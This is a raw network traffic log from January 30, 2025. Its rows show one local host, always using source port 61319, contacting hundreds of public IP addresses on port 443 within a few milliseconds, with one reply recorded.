Jan 30, 2025 10:43:03.151163101 CET	61319	443	192.168.2.14	79.81.42.187
Jan 30, 2025 10:43:03.151173115 CET	61319	443	192.168.2.14	2.160.21.227
Jan 30, 2025 10:43:03.151201963 CET	61319	443	192.168.2.14	42.96.214.79
Jan 30, 2025 10:43:03.151207924 CET	61319	443	192.168.2.14	2.19.226.96
Jan 30, 2025 10:43:03.151207924 CET	61319	443	192.168.2.14	2.154.35.214
Jan 30, 2025 10:43:03.151211023 CET	61319	443	192.168.2.14	94.123.104.104
Jan 30, 2025 10:43:03.151225090 CET	61319	443	192.168.2.14	37.93.114.227
Jan 30, 2025 10:43:03.151235104 CET	61319	443	192.168.2.14	123.187.75.239
Jan 30, 2025 10:43:03.151247978 CET	61319	443	192.168.2.14	123.56.86.203
Jan 30, 2025 10:43:03.151252985 CET	61319	443	192.168.2.14	123.227.103.50
Jan 30, 2025 10:43:03.151261091 CET	61319	443	192.168.2.14	202.18.99.13
Jan 30, 2025 10:43:03.151267052 CET	61319	443	192.168.2.14	123.74.60.188
Jan 30, 2025 10:43:03.151273966 CET	61319	443	192.168.2.14	123.99.201.137
Jan 30, 2025 10:43:03.151276112 CET	61319	443	192.168.2.14	148.163.244.54
Jan 30, 2025 10:43:03.151288986 CET	61319	443	192.168.2.14	79.174.36.61
Jan 30, 2025 10:43:03.151294947 CET	61319	443	192.168.2.14	212.96.195.228
Jan 30, 2025 10:43:03.151305914 CET	61319	443	192.168.2.14	79.183.35.158
Jan 30, 2025 10:43:03.151308060 CET	61319	443	192.168.2.14	123.43.63.237
Jan 30, 2025 10:43:03.151324034 CET	61319	443	192.168.2.14	79.254.223.181
Jan 30, 2025 10:43:03.151329041 CET	61319	443	192.168.2.14	178.86.48.146
Jan 30, 2025 10:43:03.151345015 CET	61319	443	192.168.2.14	178.92.121.194
Jan 30, 2025 10:43:03.151345968 CET	443	61319	79.254.223.181	192.168.2.14
Jan 30, 2025 10:43:03.151350975 CET	61319	443	192.168.2.14	178.139.163.88
Jan 30, 2025 10:43:03.151362896 CET	61319	443	192.168.2.14	123.217.101.41
Jan 30, 2025 10:43:03.151369095 CET	61319	443	192.168.2.14	5.253.217.180
Jan 30, 2025 10:43:03.151384115 CET	61319	443	192.168.2.14	109.163.69.55
Jan 30, 2025 10:43:03.151384115 CET	61319	443	192.168.2.14	109.26.113.180
Jan 30, 2025 10:43:03.151396990 CET	61319	443	192.168.2.14	79.254.223.181
Jan 30, 2025 10:43:03.151396990 CET	61319	443	192.168.2.14	148.117.217.232
Jan 30, 2025 10:43:03.151407957 CET	61319	443	192.168.2.14	2.146.22.199
Jan 30, 2025 10:43:03.151413918 CET	61319	443	192.168.2.14	2.180.179.228
Jan 30, 2025 10:43:03.151427031 CET	61319	443	192.168.2.14	37.220.28.11
Jan 30, 2025 10:43:03.151433945 CET	61319	443	192.168.2.14	94.53.153.170
Jan 30, 2025 10:43:03.151449919 CET	61319	443	192.168.2.14	37.58.131.126
Jan 30, 2025 10:43:03.151451111 CET	61319	443	192.168.2.14	118.100.171.108
Jan 30, 2025 10:43:03.151451111 CET	61319	443	192.168.2.14	123.206.241.26
Jan 30, 2025 10:43:03.151468039 CET	61319	443	192.168.2.14	118.219.236.255
Jan 30, 2025 10:43:03.151477098 CET	61319	443	192.168.2.14	37.140.86.24
Jan 30, 2025 10:43:03.151484013 CET	61319	443	192.168.2.14	117.14.183.194
Jan 30, 2025 10:43:03.151494980 CET	61319	443	192.168.2.14	117.145.174.248
Jan 30, 2025 10:43:03.151501894 CET	61319	443	192.168.2.14	2.7.80.37
Jan 30, 2025 10:43:03.151511908 CET	61319	443	192.168.2.14	148.236.51.83
Jan 30, 2025 10:43:03.151521921 CET	61319	443	192.168.2.14	118.3.141.222
Jan 30, 2025 10:43:03.151531935 CET	61319	443	192.168.2.14	210.65.221.50
Jan 30, 2025 10:43:03.151545048 CET	61319	443	192.168.2.14	118.166.93.194
Jan 30, 2025 10:43:03.151546955 CET	61319	443	192.168.2.14	5.128.242.214
Jan 30, 2025 10:43:03.151561022 CET	61319	443	192.168.2.14	37.182.63.69
Jan 30, 2025 10:43:03.151571035 CET	61319	443	192.168.2.14	123.106.170.247
Jan 30, 2025 10:43:03.151580095 CET	61319	443	192.168.2.14	118.132.230.203
Jan 30, 2025 10:43:03.151588917 CET	61319	443	192.168.2.14	210.96.182.15
Jan 30, 2025 10:43:03.151602983 CET	61319	443	192.168.2.14	210.137.62.38
Jan 30, 2025 10:43:03.151604891 CET	61319	443	192.168.2.14	94.218.88.115
Jan 30, 2025 10:43:03.151626110 CET	61319	443	192.168.2.14	5.89.217.84
Jan 30, 2025 10:43:03.151626110 CET	61319	443	192.168.2.14	118.147.133.150
Jan 30, 2025 10:43:03.151635885 CET	61319	443	192.168.2.14	210.141.110.113
Jan 30, 2025 10:43:03.151652098 CET	61319	443	192.168.2.14	94.106.255.196
Jan 30, 2025 10:43:03.151652098 CET	61319	443	192.168.2.14	109.11.249.2
Jan 30, 2025 10:43:03.151663065 CET	61319	443	192.168.2.14	94.82.18.65
Jan 30, 2025 10:43:03.151664019 CET	61319	443	192.168.2.14	148.209.149.66
Jan 30, 2025 10:43:03.151684999 CET	61319	443	192.168.2.14	42.143.13.71
Jan 30, 2025 10:43:03.151684999 CET	61319	443	192.168.2.14	118.218.242.253
Jan 30, 2025 10:43:03.151704073 CET	61319	443	192.168.2.14	210.133.109.14
Jan 30, 2025 10:43:03.151704073 CET	61319	443	192.168.2.14	210.11.243.126
Jan 30, 2025 10:43:03.151714087 CET	61319	443	192.168.2.14	123.218.189.109
Jan 30, 2025 10:43:03.151719093 CET	61319	443	192.168.2.14	212.14.254.157
Jan 30, 2025 10:43:03.151729107 CET	61319	443	192.168.2.14	94.111.14.230
Jan 30, 2025 10:43:03.151730061 CET	61319	443	192.168.2.14	123.14.179.97
Jan 30, 2025 10:43:03.151742935 CET	61319	443	192.168.2.14	117.143.176.164
Jan 30, 2025 10:43:03.151751041 CET	61319	443	192.168.2.14	212.202.46.207
Jan 30, 2025 10:43:03.151760101 CET	61319	443	192.168.2.14	148.208.58.99
Jan 30, 2025 10:43:03.151771069 CET	61319	443	192.168.2.14	202.28.241.93
Jan 30, 2025 10:43:03.151777029 CET	61319	443	192.168.2.14	109.71.132.14
Jan 30, 2025 10:43:03.151791096 CET	61319	443	192.168.2.14	79.39.133.173
Jan 30, 2025 10:43:03.151793957 CET	61319	443	192.168.2.14	2.188.105.115
Jan 30, 2025 10:43:03.151808977 CET	61319	443	192.168.2.14	123.200.8.138
Jan 30, 2025 10:43:03.151808977 CET	61319	443	192.168.2.14	178.216.182.6
Jan 30, 2025 10:43:03.151823044 CET	61319	443	192.168.2.14	5.147.24.96
Jan 30, 2025 10:43:03.151829958 CET	61319	443	192.168.2.14	2.75.61.201
Jan 30, 2025 10:43:03.151833057 CET	61319	443	192.168.2.14	148.54.59.54
Jan 30, 2025 10:43:03.151849031 CET	61319	443	192.168.2.14	109.136.148.49
Jan 30, 2025 10:43:03.151849985 CET	61319	443	192.168.2.14	42.73.247.136
Jan 30, 2025 10:43:03.151850939 CET	61319	443	192.168.2.14	210.198.89.37
Jan 30, 2025 10:43:03.151861906 CET	61319	443	192.168.2.14	94.228.153.248
Jan 30, 2025 10:43:03.151876926 CET	61319	443	192.168.2.14	37.81.248.147
Jan 30, 2025 10:43:03.151876926 CET	61319	443	192.168.2.14	178.54.169.121
Jan 30, 2025 10:43:03.151884079 CET	61319	443	192.168.2.14	118.17.21.223
Jan 30, 2025 10:43:03.151897907 CET	61319	443	192.168.2.14	202.97.127.159
Jan 30, 2025 10:43:03.151899099 CET	61319	443	192.168.2.14	117.89.2.215
Jan 30, 2025 10:43:03.151905060 CET	61319	443	192.168.2.14	202.111.4.190
Jan 30, 2025 10:43:03.151925087 CET	61319	443	192.168.2.14	37.240.139.83
Jan 30, 2025 10:43:03.151932001 CET	61319	443	192.168.2.14	202.153.121.209
Jan 30, 2025 10:43:03.151932955 CET	61319	443	192.168.2.14	2.167.205.155
Jan 30, 2025 10:43:03.151932955 CET	61319	443	192.168.2.14	178.2.216.98
Jan 30, 2025 10:43:03.151937008 CET	61319	443	192.168.2.14	94.166.197.147
Jan 30, 2025 10:43:03.151948929 CET	61319	443	192.168.2.14	94.110.218.249
Jan 30, 2025 10:43:03.151952028 CET	61319	443	192.168.2.14	109.178.192.190
Jan 30, 2025 10:43:03.151959896 CET	61319	443	192.168.2.14	123.43.136.22
Jan 30, 2025 10:43:03.151968956 CET	61319	443	192.168.2.14	212.86.253.252
Jan 30, 2025 10:43:03.151978970 CET	61319	443	192.168.2.14	210.10.10.6
Jan 30, 2025 10:43:03.151995897 CET	61319	443	192.168.2.14	42.171.19.47
Jan 30, 2025 10:43:03.151995897 CET	61319	443	192.168.2.14	178.188.52.121
Jan 30, 2025 10:43:03.152009964 CET	61319	443	192.168.2.14	37.195.2.155
Jan 30, 2025 10:43:03.152013063 CET	61319	443	192.168.2.14	37.125.149.146
Jan 30, 2025 10:43:03.152024031 CET	61319	443	192.168.2.14	2.214.189.202
Jan 30, 2025 10:43:03.152034044 CET	61319	443	192.168.2.14	109.239.161.98
Jan 30, 2025 10:43:03.152034998 CET	61319	443	192.168.2.14	2.26.140.89
Jan 30, 2025 10:43:03.152048111 CET	61319	443	192.168.2.14	123.15.137.68
Jan 30, 2025 10:43:03.152053118 CET	61319	443	192.168.2.14	148.126.105.27
Jan 30, 2025 10:43:03.152067900 CET	61319	443	192.168.2.14	109.55.207.223
Jan 30, 2025 10:43:03.152070999 CET	61319	443	192.168.2.14	202.219.107.197
Jan 30, 2025 10:43:03.152085066 CET	61319	443	192.168.2.14	148.137.150.14
Jan 30, 2025 10:43:03.152087927 CET	61319	443	192.168.2.14	123.114.46.56
Jan 30, 2025 10:43:03.152096987 CET	61319	443	192.168.2.14	210.170.186.11
Jan 30, 2025 10:43:03.152100086 CET	61319	443	192.168.2.14	202.218.239.216
Jan 30, 2025 10:43:03.152111053 CET	61319	443	192.168.2.14	2.102.222.76
Jan 30, 2025 10:43:03.152120113 CET	61319	443	192.168.2.14	118.16.62.132
Jan 30, 2025 10:43:03.152123928 CET	61319	443	192.168.2.14	42.86.225.239
Jan 30, 2025 10:43:03.152136087 CET	61319	443	192.168.2.14	210.69.221.146
Jan 30, 2025 10:43:03.152143002 CET	61319	443	192.168.2.14	109.25.44.167
Jan 30, 2025 10:43:03.152153015 CET	61319	443	192.168.2.14	202.76.145.166
Jan 30, 2025 10:43:03.152168989 CET	61319	443	192.168.2.14	210.155.88.207
Jan 30, 2025 10:43:03.152169943 CET	61319	443	192.168.2.14	118.240.220.252
Jan 30, 2025 10:43:03.152169943 CET	61319	443	192.168.2.14	123.79.135.14
Jan 30, 2025 10:43:03.152174950 CET	61319	443	192.168.2.14	202.124.161.199
Jan 30, 2025 10:43:03.152187109 CET	61319	443	192.168.2.14	202.193.96.188
Jan 30, 2025 10:43:03.152192116 CET	61319	443	192.168.2.14	109.231.186.138
Jan 30, 2025 10:43:03.152203083 CET	61319	443	192.168.2.14	202.108.18.194
Jan 30, 2025 10:43:03.152208090 CET	61319	443	192.168.2.14	79.174.23.127
Jan 30, 2025 10:43:03.152215958 CET	61319	443	192.168.2.14	79.40.220.83
Jan 30, 2025 10:43:03.152223110 CET	61319	443	192.168.2.14	2.72.104.218
Jan 30, 2025 10:43:03.152235031 CET	61319	443	192.168.2.14	109.29.51.141
Jan 30, 2025 10:43:03.152245045 CET	61319	443	192.168.2.14	212.162.175.82
Jan 30, 2025 10:43:03.152249098 CET	61319	443	192.168.2.14	37.201.216.191
Jan 30, 2025 10:43:03.152262926 CET	61319	443	192.168.2.14	148.143.123.189
Jan 30, 2025 10:43:03.152266026 CET	61319	443	192.168.2.14	212.244.76.217
Jan 30, 2025 10:43:03.152280092 CET	61319	443	192.168.2.14	5.244.12.119
Jan 30, 2025 10:43:03.152290106 CET	61319	443	192.168.2.14	148.240.56.115
Jan 30, 2025 10:43:03.152306080 CET	61319	443	192.168.2.14	42.65.221.53
Jan 30, 2025 10:43:03.152306080 CET	61319	443	192.168.2.14	212.252.235.36
Jan 30, 2025 10:43:03.152322054 CET	61319	443	192.168.2.14	5.232.74.39
Jan 30, 2025 10:43:03.152322054 CET	61319	443	192.168.2.14	123.54.7.219
Jan 30, 2025 10:43:03.152332067 CET	61319	443	192.168.2.14	117.252.237.141
Jan 30, 2025 10:43:03.152340889 CET	61319	443	192.168.2.14	178.98.66.73
Jan 30, 2025 10:43:03.152345896 CET	61319	443	192.168.2.14	37.249.255.62
Jan 30, 2025 10:43:03.152357101 CET	61319	443	192.168.2.14	79.51.140.133
Jan 30, 2025 10:43:03.152370930 CET	61319	443	192.168.2.14	123.156.45.26
Jan 30, 2025 10:43:03.152370930 CET	61319	443	192.168.2.14	117.80.162.61
Jan 30, 2025 10:43:03.152390003 CET	61319	443	192.168.2.14	79.206.143.75
Jan 30, 2025 10:43:03.152398109 CET	61319	443	192.168.2.14	202.37.250.40
Jan 30, 2025 10:43:03.152404070 CET	61319	443	192.168.2.14	94.161.92.159
Jan 30, 2025 10:43:03.152419090 CET	61319	443	192.168.2.14	109.25.74.163
Jan 30, 2025 10:43:03.152421951 CET	61319	443	192.168.2.14	123.13.0.250
Jan 30, 2025 10:43:03.152431011 CET	61319	443	192.168.2.14	5.103.61.22
Jan 30, 2025 10:43:03.152434111 CET	61319	443	192.168.2.14	117.136.170.55
Jan 30, 2025 10:43:03.152446032 CET	61319	443	192.168.2.14	210.92.85.118
Jan 30, 2025 10:43:03.152451038 CET	61319	443	192.168.2.14	123.166.135.14
Jan 30, 2025 10:43:03.152462006 CET	61319	443	192.168.2.14	94.53.25.60
Jan 30, 2025 10:43:03.152468920 CET	61319	443	192.168.2.14	2.195.65.54
Jan 30, 2025 10:43:03.152478933 CET	61319	443	192.168.2.14	212.124.17.176
Jan 30, 2025 10:43:03.152489901 CET	61319	443	192.168.2.14	5.150.78.161
Jan 30, 2025 10:43:03.152492046 CET	61319	443	192.168.2.14	109.204.191.99
Jan 30, 2025 10:43:03.152509928 CET	61319	443	192.168.2.14	118.78.101.94
Jan 30, 2025 10:43:03.152512074 CET	61319	443	192.168.2.14	202.158.243.16
Jan 30, 2025 10:43:03.152522087 CET	61319	443	192.168.2.14	202.243.217.137
Jan 30, 2025 10:43:03.152529001 CET	61319	443	192.168.2.14	2.95.197.43
Jan 30, 2025 10:43:03.152540922 CET	61319	443	192.168.2.14	117.154.253.93
Jan 30, 2025 10:43:03.152540922 CET	61319	443	192.168.2.14	42.86.73.138
Jan 30, 2025 10:43:03.152555943 CET	61319	443	192.168.2.14	210.58.57.222
Jan 30, 2025 10:43:03.152569056 CET	61319	443	192.168.2.14	210.113.254.45
Jan 30, 2025 10:43:03.152573109 CET	61319	443	192.168.2.14	212.249.165.124
Jan 30, 2025 10:43:03.152582884 CET	61319	443	192.168.2.14	148.149.6.107
Jan 30, 2025 10:43:03.152586937 CET	61319	443	192.168.2.14	212.201.43.154
Jan 30, 2025 10:43:03.152605057 CET	61319	443	192.168.2.14	123.198.19.4
Jan 30, 2025 10:43:03.152605057 CET	61319	443	192.168.2.14	5.236.36.128
Jan 30, 2025 10:43:03.152616024 CET	61319	443	192.168.2.14	79.193.196.124
Jan 30, 2025 10:43:03.152630091 CET	61319	443	192.168.2.14	109.195.44.199
Jan 30, 2025 10:43:03.152631044 CET	61319	443	192.168.2.14	212.8.200.152
Jan 30, 2025 10:43:03.152642012 CET	61319	443	192.168.2.14	42.146.13.92
Jan 30, 2025 10:43:03.152642012 CET	61319	443	192.168.2.14	148.78.2.168
Jan 30, 2025 10:43:03.152651072 CET	61319	443	192.168.2.14	178.53.10.222
Jan 30, 2025 10:43:03.152661085 CET	61319	443	192.168.2.14	123.124.166.211
Jan 30, 2025 10:43:03.152669907 CET	61319	443	192.168.2.14	202.112.65.128
Jan 30, 2025 10:43:03.152678967 CET	61319	443	192.168.2.14	5.241.129.176
Jan 30, 2025 10:43:03.152679920 CET	61319	443	192.168.2.14	2.2.249.96
Jan 30, 2025 10:43:03.152697086 CET	61319	443	192.168.2.14	212.141.229.117
Jan 30, 2025 10:43:03.152697086 CET	61319	443	192.168.2.14	210.153.1.183
Jan 30, 2025 10:43:03.152710915 CET	61319	443	192.168.2.14	109.15.34.29
Jan 30, 2025 10:43:03.152710915 CET	61319	443	192.168.2.14	212.188.147.8
Jan 30, 2025 10:43:03.152718067 CET	61319	443	192.168.2.14	123.141.190.218
Jan 30, 2025 10:43:03.152729034 CET	61319	443	192.168.2.14	118.64.77.81
Jan 30, 2025 10:43:03.152729988 CET	61319	443	192.168.2.14	118.135.210.197
Jan 30, 2025 10:43:03.152740002 CET	61319	443	192.168.2.14	42.118.146.37
Jan 30, 2025 10:43:03.152741909 CET	61319	443	192.168.2.14	212.159.165.237
Jan 30, 2025 10:43:03.152751923 CET	61319	443	192.168.2.14	94.91.243.186
Jan 30, 2025 10:43:03.152761936 CET	61319	443	192.168.2.14	118.135.186.6
Jan 30, 2025 10:43:03.152766943 CET	61319	443	192.168.2.14	2.28.174.20
Jan 30, 2025 10:43:03.152777910 CET	61319	443	192.168.2.14	148.106.189.51
Jan 30, 2025 10:43:03.152791023 CET	61319	443	192.168.2.14	118.208.187.66
Jan 30, 2025 10:43:03.152795076 CET	61319	443	192.168.2.14	210.173.180.40
Jan 30, 2025 10:43:03.152806997 CET	61319	443	192.168.2.14	79.43.158.55
Jan 30, 2025 10:43:03.152817965 CET	61319	443	192.168.2.14	148.164.212.100
Jan 30, 2025 10:43:03.152822971 CET	61319	443	192.168.2.14	109.174.101.213
Jan 30, 2025 10:43:03.152834892 CET	61319	443	192.168.2.14	202.23.22.195
Jan 30, 2025 10:43:03.152842045 CET	61319	443	192.168.2.14	118.143.109.48
Jan 30, 2025 10:43:03.152851105 CET	61319	443	192.168.2.14	210.72.180.125
Jan 30, 2025 10:43:03.152865887 CET	61319	443	192.168.2.14	117.204.217.223
Jan 30, 2025 10:43:03.152870893 CET	61319	443	192.168.2.14	210.190.220.72
Jan 30, 2025 10:43:03.152884007 CET	61319	443	192.168.2.14	42.230.146.124
Jan 30, 2025 10:43:03.152884007 CET	61319	443	192.168.2.14	117.140.14.209
Jan 30, 2025 10:43:03.152901888 CET	61319	443	192.168.2.14	178.85.254.42
Jan 30, 2025 10:43:03.152903080 CET	61319	443	192.168.2.14	109.251.247.168
Jan 30, 2025 10:43:03.152910948 CET	61319	443	192.168.2.14	148.150.50.183
Jan 30, 2025 10:43:03.152929068 CET	61319	443	192.168.2.14	210.115.24.95
Jan 30, 2025 10:43:03.152930021 CET	61319	443	192.168.2.14	178.83.182.159
Jan 30, 2025 10:43:03.152944088 CET	61319	443	192.168.2.14	42.124.13.38
Jan 30, 2025 10:43:03.152944088 CET	61319	443	192.168.2.14	123.122.223.17
Jan 30, 2025 10:43:03.152961016 CET	61319	443	192.168.2.14	5.240.122.117
Jan 30, 2025 10:43:03.152961969 CET	61319	443	192.168.2.14	202.32.153.103
Jan 30, 2025 10:43:03.152977943 CET	61319	443	192.168.2.14	109.71.226.232
Jan 30, 2025 10:43:03.152980089 CET	61319	443	192.168.2.14	42.146.178.15
Jan 30, 2025 10:43:03.152991056 CET	61319	443	192.168.2.14	123.47.238.240
Jan 30, 2025 10:43:03.153002977 CET	61319	443	192.168.2.14	202.112.9.160
Jan 30, 2025 10:43:03.153003931 CET	61319	443	192.168.2.14	79.71.201.240
Jan 30, 2025 10:43:03.153013945 CET	61319	443	192.168.2.14	123.81.167.12
Jan 30, 2025 10:43:03.153019905 CET	61319	443	192.168.2.14	5.232.244.33
Jan 30, 2025 10:43:03.153029919 CET	61319	443	192.168.2.14	42.47.198.232
Jan 30, 2025 10:43:03.153040886 CET	61319	443	192.168.2.14	123.126.195.21
Jan 30, 2025 10:43:03.153048992 CET	61319	443	192.168.2.14	2.107.203.249
Jan 30, 2025 10:43:03.153057098 CET	61319	443	192.168.2.14	202.214.25.235
Jan 30, 2025 10:43:03.153069019 CET	61319	443	192.168.2.14	118.89.178.2
Jan 30, 2025 10:43:03.153079987 CET	61319	443	192.168.2.14	5.77.229.216
Jan 30, 2025 10:43:03.153086901 CET	61319	443	192.168.2.14	212.41.90.224
Jan 30, 2025 10:43:03.153104067 CET	61319	443	192.168.2.14	123.50.147.156
Jan 30, 2025 10:43:03.153111935 CET	61319	443	192.168.2.14	178.200.18.108
Jan 30, 2025 10:43:03.153126001 CET	61319	443	192.168.2.14	210.129.13.118
Jan 30, 2025 10:43:03.153126955 CET	61319	443	192.168.2.14	118.120.130.82
Jan 30, 2025 10:43:03.153136969 CET	61319	443	192.168.2.14	118.4.202.68
Jan 30, 2025 10:43:03.153139114 CET	61319	443	192.168.2.14	79.13.226.221
Jan 30, 2025 10:43:03.153141022 CET	61319	443	192.168.2.14	202.47.33.53
Jan 30, 2025 10:43:03.153147936 CET	61319	443	192.168.2.14	109.90.245.79
Jan 30, 2025 10:43:03.153161049 CET	61319	443	192.168.2.14	210.214.121.134
Jan 30, 2025 10:43:03.153172970 CET	61319	443	192.168.2.14	37.75.53.90
Jan 30, 2025 10:43:03.153172970 CET	61319	443	192.168.2.14	178.12.204.110
Jan 30, 2025 10:43:03.153184891 CET	61319	443	192.168.2.14	109.226.47.169
Jan 30, 2025 10:43:03.153191090 CET	61319	443	192.168.2.14	94.89.54.225
Jan 30, 2025 10:43:03.153203011 CET	61319	443	192.168.2.14	123.100.153.239
Jan 30, 2025 10:43:03.153208017 CET	61319	443	192.168.2.14	212.92.143.197
Jan 30, 2025 10:43:03.153223038 CET	61319	443	192.168.2.14	202.243.40.96
Jan 30, 2025 10:43:03.153229952 CET	61319	443	192.168.2.14	37.128.151.97
Jan 30, 2025 10:43:03.153239012 CET	61319	443	192.168.2.14	212.196.47.133
Jan 30, 2025 10:43:03.153254032 CET	61319	443	192.168.2.14	2.149.178.38
Jan 30, 2025 10:43:03.153255939 CET	61319	443	192.168.2.14	117.225.5.158
Jan 30, 2025 10:43:03.153264999 CET	61319	443	192.168.2.14	148.116.138.175
Jan 30, 2025 10:43:03.153280973 CET	61319	443	192.168.2.14	37.147.32.207
Jan 30, 2025 10:43:03.153296947 CET	61319	443	192.168.2.14	2.184.44.77
Jan 30, 2025 10:43:03.153299093 CET	61319	443	192.168.2.14	123.181.179.184
Jan 30, 2025 10:43:03.153304100 CET	61319	443	192.168.2.14	212.78.67.15
Jan 30, 2025 10:43:03.153316975 CET	61319	443	192.168.2.14	117.8.184.70
Jan 30, 2025 10:43:03.153325081 CET	61319	443	192.168.2.14	2.31.9.131
Jan 30, 2025 10:43:03.153343916 CET	61319	443	192.168.2.14	117.126.179.196
Jan 30, 2025 10:43:03.153345108 CET	61319	443	192.168.2.14	148.206.140.167
Jan 30, 2025 10:43:03.153345108 CET	61319	443	192.168.2.14	5.17.158.210
Jan 30, 2025 10:43:03.153346062 CET	61319	443	192.168.2.14	37.143.112.176
Jan 30, 2025 10:43:03.153352022 CET	61319	443	192.168.2.14	2.36.163.239
Jan 30, 2025 10:43:03.153368950 CET	61319	443	192.168.2.14	37.186.3.41
Jan 30, 2025 10:43:03.153383970 CET	61319	443	192.168.2.14	210.59.127.22
Jan 30, 2025 10:43:03.153384924 CET	61319	443	192.168.2.14	79.126.0.166
Jan 30, 2025 10:43:03.153398991 CET	61319	443	192.168.2.14	117.235.120.99
Jan 30, 2025 10:43:03.153409004 CET	61319	443	192.168.2.14	178.70.191.112
Jan 30, 2025 10:43:03.153412104 CET	61319	443	192.168.2.14	2.244.214.112
Jan 30, 2025 10:43:03.153423071 CET	61319	443	192.168.2.14	94.121.139.195
Jan 30, 2025 10:43:03.153439999 CET	61319	443	192.168.2.14	5.133.134.99
Jan 30, 2025 10:43:03.153441906 CET	61319	443	192.168.2.14	5.231.100.220
Jan 30, 2025 10:43:03.153450966 CET	61319	443	192.168.2.14	210.196.173.179
Jan 30, 2025 10:43:03.153454065 CET	61319	443	192.168.2.14	210.197.96.234
Jan 30, 2025 10:43:03.153472900 CET	61319	443	192.168.2.14	79.223.63.104
Jan 30, 2025 10:43:03.153479099 CET	61319	443	192.168.2.14	118.197.144.153
Jan 30, 2025 10:43:03.153490067 CET	61319	443	192.168.2.14	94.106.100.204
Jan 30, 2025 10:43:03.153491020 CET	61319	443	192.168.2.14	178.72.83.24
Jan 30, 2025 10:43:03.153506994 CET	61319	443	192.168.2.14	117.108.192.42
Jan 30, 2025 10:43:03.153520107 CET	61319	443	192.168.2.14	42.190.170.35
Jan 30, 2025 10:43:03.153522968 CET	61319	443	192.168.2.14	148.107.178.35
Jan 30, 2025 10:43:03.153534889 CET	61319	443	192.168.2.14	117.128.144.18
Jan 30, 2025 10:43:03.153537989 CET	61319	443	192.168.2.14	117.243.23.105
Jan 30, 2025 10:43:03.153541088 CET	61319	443	192.168.2.14	178.14.107.88
Jan 30, 2025 10:43:03.153553009 CET	61319	443	192.168.2.14	148.45.135.11
Jan 30, 2025 10:43:03.153573990 CET	61319	443	192.168.2.14	178.164.213.168
Jan 30, 2025 10:43:03.153577089 CET	61319	443	192.168.2.14	117.11.45.178
Jan 30, 2025 10:43:03.153578043 CET	61319	443	192.168.2.14	94.88.147.189
Jan 30, 2025 10:43:03.153578043 CET	61319	443	192.168.2.14	109.48.10.79
Jan 30, 2025 10:43:03.153578043 CET	61319	443	192.168.2.14	202.229.254.1
Jan 30, 2025 10:43:03.153592110 CET	61319	443	192.168.2.14	148.34.24.138
Jan 30, 2025 10:43:03.153597116 CET	61319	443	192.168.2.14	37.6.121.23
Jan 30, 2025 10:43:03.153609991 CET	61319	443	192.168.2.14	109.123.140.142
Jan 30, 2025 10:43:03.153614044 CET	61319	443	192.168.2.14	210.76.165.74
Jan 30, 2025 10:43:03.153625011 CET	61319	443	192.168.2.14	5.74.32.52
Jan 30, 2025 10:43:03.153625011 CET	61319	443	192.168.2.14	148.75.182.127
Jan 30, 2025 10:43:03.153636932 CET	61319	443	192.168.2.14	109.43.137.86
Jan 30, 2025 10:43:03.153642893 CET	61319	443	192.168.2.14	2.11.181.32
Jan 30, 2025 10:43:03.153651953 CET	61319	443	192.168.2.14	79.96.6.21
Jan 30, 2025 10:43:03.153664112 CET	61319	443	192.168.2.14	202.216.50.226
Jan 30, 2025 10:43:03.153673887 CET	61319	443	192.168.2.14	94.153.207.188
Jan 30, 2025 10:43:03.153676033 CET	61319	443	192.168.2.14	117.107.87.47
Jan 30, 2025 10:43:03.153688908 CET	61319	443	192.168.2.14	123.74.187.35
Jan 30, 2025 10:43:03.153692007 CET	61319	443	192.168.2.14	118.197.245.73
Jan 30, 2025 10:43:03.153711081 CET	61319	443	192.168.2.14	202.43.217.185
Jan 30, 2025 10:43:03.153714895 CET	61319	443	192.168.2.14	212.29.51.255
Jan 30, 2025 10:43:03.153724909 CET	61319	443	192.168.2.14	37.69.135.161
Jan 30, 2025 10:43:03.153734922 CET	61319	443	192.168.2.14	5.130.84.132
Jan 30, 2025 10:43:03.153738022 CET	61319	443	192.168.2.14	42.97.88.127
Jan 30, 2025 10:43:03.153759956 CET	61319	443	192.168.2.14	123.221.118.227
Jan 30, 2025 10:43:03.153759956 CET	61319	443	192.168.2.14	5.201.136.239
Jan 30, 2025 10:43:03.153769016 CET	61319	443	192.168.2.14	148.144.93.247
Jan 30, 2025 10:43:03.153769970 CET	61319	443	192.168.2.14	117.211.244.0
Jan 30, 2025 10:43:03.153780937 CET	61319	443	192.168.2.14	2.172.12.42
Jan 30, 2025 10:43:03.153786898 CET	61319	443	192.168.2.14	79.255.35.210
Jan 30, 2025 10:43:03.153789043 CET	61319	443	192.168.2.14	79.105.17.249
Jan 30, 2025 10:43:03.153803110 CET	61319	443	192.168.2.14	178.229.162.0
Jan 30, 2025 10:43:03.153815031 CET	61319	443	192.168.2.14	37.244.35.82
Jan 30, 2025 10:43:03.153815031 CET	61319	443	192.168.2.14	210.74.227.20
Jan 30, 2025 10:43:03.153830051 CET	61319	443	192.168.2.14	148.188.128.57
Jan 30, 2025 10:43:03.153840065 CET	61319	443	192.168.2.14	210.102.221.223
Jan 30, 2025 10:43:03.153845072 CET	61319	443	192.168.2.14	109.223.166.204
Jan 30, 2025 10:43:03.153857946 CET	61319	443	192.168.2.14	117.161.225.60
Jan 30, 2025 10:43:03.153861046 CET	61319	443	192.168.2.14	123.37.242.245
Jan 30, 2025 10:43:03.153877020 CET	61319	443	192.168.2.14	123.21.192.44
Jan 30, 2025 10:43:03.153881073 CET	61319	443	192.168.2.14	2.186.251.199
Jan 30, 2025 10:43:03.153889894 CET	61319	443	192.168.2.14	118.95.200.17
Jan 30, 2025 10:43:03.153897047 CET	61319	443	192.168.2.14	37.32.63.139
Jan 30, 2025 10:43:03.153904915 CET	61319	443	192.168.2.14	212.236.225.136
Jan 30, 2025 10:43:03.153909922 CET	61319	443	192.168.2.14	123.191.154.39
Jan 30, 2025 10:43:03.153923035 CET	61319	443	192.168.2.14	210.74.80.77
Jan 30, 2025 10:43:03.153930902 CET	61319	443	192.168.2.14	42.65.171.101
Jan 30, 2025 10:43:03.153947115 CET	61319	443	192.168.2.14	210.159.252.231
Jan 30, 2025 10:43:03.153948069 CET	61319	443	192.168.2.14	202.90.162.186
Jan 30, 2025 10:43:03.153959036 CET	61319	443	192.168.2.14	210.248.162.33
Jan 30, 2025 10:43:03.153961897 CET	61319	443	192.168.2.14	212.54.113.240
Jan 30, 2025 10:43:03.153978109 CET	61319	443	192.168.2.14	148.1.55.199
Jan 30, 2025 10:43:03.153983116 CET	61319	443	192.168.2.14	178.135.78.163
Jan 30, 2025 10:43:03.153992891 CET	61319	443	192.168.2.14	118.214.238.43
